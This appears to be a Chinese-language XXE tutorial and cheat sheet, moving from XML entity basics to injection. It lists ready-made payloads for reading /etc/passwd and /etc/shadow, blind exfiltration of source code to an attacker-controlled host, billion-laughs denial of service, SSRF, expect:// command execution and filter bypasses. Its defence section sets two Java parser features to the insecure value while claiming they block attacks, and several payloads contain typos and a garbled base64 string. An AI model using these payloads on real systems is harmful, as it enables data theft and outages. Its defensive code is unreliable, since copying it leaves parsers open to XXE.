XML基礎知識
<!--XML聲明-->
<?xml version="1.0"?>
<!--DTD-->
<!DOCTYPE note [ <!--根元素定義-->
<!ELEMENT note (to,from,heading,body)>
<!--
<!ELEMENT name type>
type可以是EMPTY、#PCDATA、#CDATA、ANY、子元素
PCDATA是會被解析器解析對文本
CDATA是不會被解析器解析對文本
-->
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<!--XML文檔元素-->
<note>
<to>Person1</to>
<from>Person2</from>
<heading>Hello World!</heading>
<body>Welcome to Cyber Security</body>
</note>
實體
一般實體 | 參數實體 | |
---|---|---|
內部實體聲明方式 | <!ENTITY 實體名 "文本內容"> |
<!ENTITY % 實體名 "文本內容"> |
外部實體聲明方式 | <!ENTITY 實體名 SYSTEM "外部文件地址"> |
<!ENTITY % 實體名 SYSTEM "外部文件地址"> |
引用方式 | &name; |
&name; |
使用場景 | XML文檔中 | DTD中 |
內部一般實體
<!ENTITY email "88888@qq.com">
<!ENTITY correspondance "email:&email;">
<!ENTITY email "888888@qq.com">
注意:一般實體定義只能應用在另一個實體定義中,而不能在元素ELEMENT的定義中
外部一般實體
<!ENTITY correspondance "email:&email;">
<!ENTITY email "888888@qq.com">
<!ENTITY content SYSTEM "test323.txt">
]>
<person>
<name>Jason</name>
<addr>Shanghai</addr>
&content;
</person>
test323.txt
文件中的內容
<tel>18888888888</tel>
<br />
<email>&correspondance;</email>
內部參數實體
參數實體不能被應用在元素的聲明中,不能使用參數實體來定義元素,只有在外部DTD中參數實體才能被應用到元素的聲明當中。
1.xml
文件中的內容
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE person SYSTEM "test.dtd">
<person>
<name>Jason</name>
<addr>Shanghai</addr>
<tel>18888888888</tel>
<br />
<email>888888@qq.com</email>
</person>
test.dtd
文件中的內容
<?xml version="1.0" encoding="UTF-8"?>
<!ELEMENT person (name,addr,tel,br,email)>
<!ENTITY % end "(#PCDATA)">
<!ELEMENT name %end;>
<!ELEMENT addr %end;>
<!ELEMENT tel %end;>
<!ELEMENT br EMPTY>
<!ELEMENT email %end;>
外部參數實體
能將原來很長的DTD文檔拆分成很多很小的、相互調用的文檔集合,適合大型DTD文檔的設計開發。
1.xml
文件中的內容
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE person [
<!ELEMENT person (name,addr,tel,br,email)>
<!ENTITY % content SYSTEM "test.dtd">
%content;
]>
<person>
<name>Jason</name>
<addr>Shanghai</addr>
<tel>18888888888</tel>
<br />
<email>888888@qq.com</email>
</person>
test.dtd
文件中的內容
<?xml version="1.0" encoding="UTF-8"?>
<!ELEMENT name (#PCDATA)>
<!ELEMENT addr (#PCDATA)>
<!ELEMENT tel (#PCDATA)>
<!ELEMENT br EMPTY>
<!ELEMENT email (#PCDATA)>
XXE基礎
概述
XXE(XML External Entity Injection)是一種針對XML終端實施的外部實體注入攻擊,漏洞產生的根本原因就是在XML1.0標准中引入了ENTITY這個概念,且ENTITY可以在預定義的文檔中進行調用,XXE漏洞就是通過實體的標識符訪問本地或者遠程內容。
XXE攻擊要素
-
需要在XML的Payload中包含外部實體聲明
-
服務端對用戶輸入檢查不嚴格
-
服務器本身允許實體擴展
XXE漏洞成因
太相信用戶輸入,把用戶輸入的XML格式數據直接解析,造成XXE漏洞。
**InputStream xml=request.getInputStream();**
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = factory.newDocumentBuilder();
InputSource is = new InputSource(xml);
Document doc = builder.parse(is);
Element element = doc.getDocumentElement();
NodeList nodes = element.getChildNodes();
for (int i = 0; i < nodes.getLength(); i++) {
Boolean xmlUpdate = new XMLhandle(nodes.item(i).getNodeName(),nodes.item(i).getFirstChild().getNodeValue().toString());
}
XXE漏洞挖掘
漏洞利用方式
-
文件讀取(本地文件讀取)
-
文件包含(遠程文件包含)
-
列目錄(列出服務器目錄有哪些文件)
-
SSRF(內網探測、內網漏洞利用)
-
執行命令(依賴於PHP環境下的expect擴展)
判斷是否存在XXE測試點
最直接的方法就是抓包,然后修改HTTP請求方法,修改Content-Type
頭部字段,查看返回包的相應,看看程序是否解析了發送的內容,一旦解析了,那么有可能存在漏洞。
判斷是否支持外部實體
判斷是否支持外部實體的方法比較簡單,就是構造加載外部實體的Payload,然后查看是否成功加載,代碼如下:
<?xml version="1.0" encoding="UTF-8">
<!DOCTYPE ANY [
<!ENTITY % shit SYSTEM "http://yourhost/evil.xml">
%shit;
]>
libxml2.9.1及以后,默認不解析外部實體,可以使用 phpinfo()
查看libxml2
的版本信息。
有回顯讀取文件
如果在一個數據包中,發現了XML的特征后,那么只能是懷疑此處可能通過XML進行數據傳輸。在數據包中輸入以下代碼進行驗證
<test>XXXXXX</test>
如果返回200不報錯,並有返回結果。則可以確定此處是通過XML進行傳輸的。可以輸入以下代碼嘗試進行文件讀取。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe [
<!ENTITY xxe SYSTEM file://etc/passwd>
]>
<xxe>&xxe;</xxe>
無回顯XXE
我們先在Kali上開啟apache服務,然后將下面的Payload發送過去
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=C:/phpStudy/PHPTutorial/WWW/php_xxe/doLogin.php">
<!ENTITY % dtd SYSTEM "http://192.168.61.130/evil.xml">
%dtd;
%send;
]>
evil.xml
中的內容如下
<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://192.168.61.130/?content=%file;'> %payload;
然后我們查看下apache的訪問日志(tail -f /var/log/apache2/access.log
)然后我們就能看到apache的訪問請求,content參數的內容即為編碼后的doLogin.php的代碼
XML可用的外部實體類型
libxml2 | PHP | Java | .Net |
---|---|---|---|
file http ftp |
file http ftp php compress.zlib compress.bzip2 data glob phar |
http https ftp file jar netdoc mailto gopher * |
file http https ftp |
Payload列表
文件讀取 / 文件泄漏
<!--?xml verison="1.0" ?-->
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file://etc/shaodw">]>
<userInfo>
<firstName>John</firstName>
<lastName>&ent;</lastName>
</userInfo>
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<foo>&xxe;</foo>
有回顯的情況下使用。
DOS攻擊
<!--?xml version="1.0" ?-->
<!DOCTYPE lolz [<!ENTITY lol "lol"><!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">]>
<tag>&lol9;</tag>
無回顯本地文件包含
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY % xxe SYSTEM "file:///etc/passwd">
<!ENTITY blind SYSTEM "https://www.example.com/?%xxe;">]>
<foo>&blind;</foo>
加載資源受限情況
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY ac SYSTEM "php://filter/read=convert.base64-encode/resource=http://example.com/viewlog.php">
]>
<foo><result>∾</result></foo>
PHP語言以上Payload可以繞過資源受限情況加載外部資源
SSRF服務器請求
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "https://www.example.com/text.txt">]><foo>&xxe;</foo>
遠程文件XML包含
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY test SYSTEM "https://example.com/entity1.xml">]>
<lolz><lol>3..2..1..&test;<lol></lolz>
Base64編碼
<!DOCTYPE test [
<!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzo3dk">]>
<foo>&init;</foo>
利用SOAP協議進行探測攻擊
利用SOAP格式可進行SSRF攻擊
<soap:Body>
<foo>
<![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]>
</foo>
</soap:Body>
利用SVG協議執行命令
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
<image xlink:href="expect://ls"></image>
</svg>
關鍵字過濾如ENTITY情況繞過
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "file:///etc/passwd"
]>
<x>&f;</x>
變成下面這樣子
<?xml version="1.0" encoding="utf-7"?>
+ADwAlQ-DOCTYPE ANY +AFs-
+ADwAlQ-ENTITY f SYSTEM _ACl-file:///etc/passwd+AClAPg-
+AF0APg-
+ADw-x+AD4AJg-f+ADsAPA-/x+AD4-
關鍵字過濾用UTF-7編碼繞過bypass
繞過無法引用外部實體
<?xml version="1.0"?>
<root xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include href="file:///etc/passwd" parse="text"/>
</root>
當libxml2版本高於2.9.1時,默認無法引用外部實體,可嘗試XXE文件包含攻擊。
其他Payload
請參考:XXE Payloads
XXE防御
-
過濾用戶輸入的XML數據(關鍵字:
<!DOCTYPE
、<!ENTITY
、SYSTEM
等) -
設置解析器參數,禁用外部實體
禁用DTDs(doctypes),幾乎可以防御所有XML實體攻擊
reader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
如果不能禁用DTDs,可以使用下面兩項(必須同時存在)
reader.setFeature("http://xml.org/sax/features/external-general-entities", false); // 防止外部普通實體攻擊
reader.setFeature("http://xml.org/sax/features/external-parameter-entities", true); // 防止外部參數實體攻擊
禁用外部DTD
reader.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", true);
-
使用開發語言提供的禁用外部實體的方法
-
PHP
libxml_disable_entity_loader(true);
-
Python
from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
-
靶場環境
XXE靶場源碼:XXE-Lab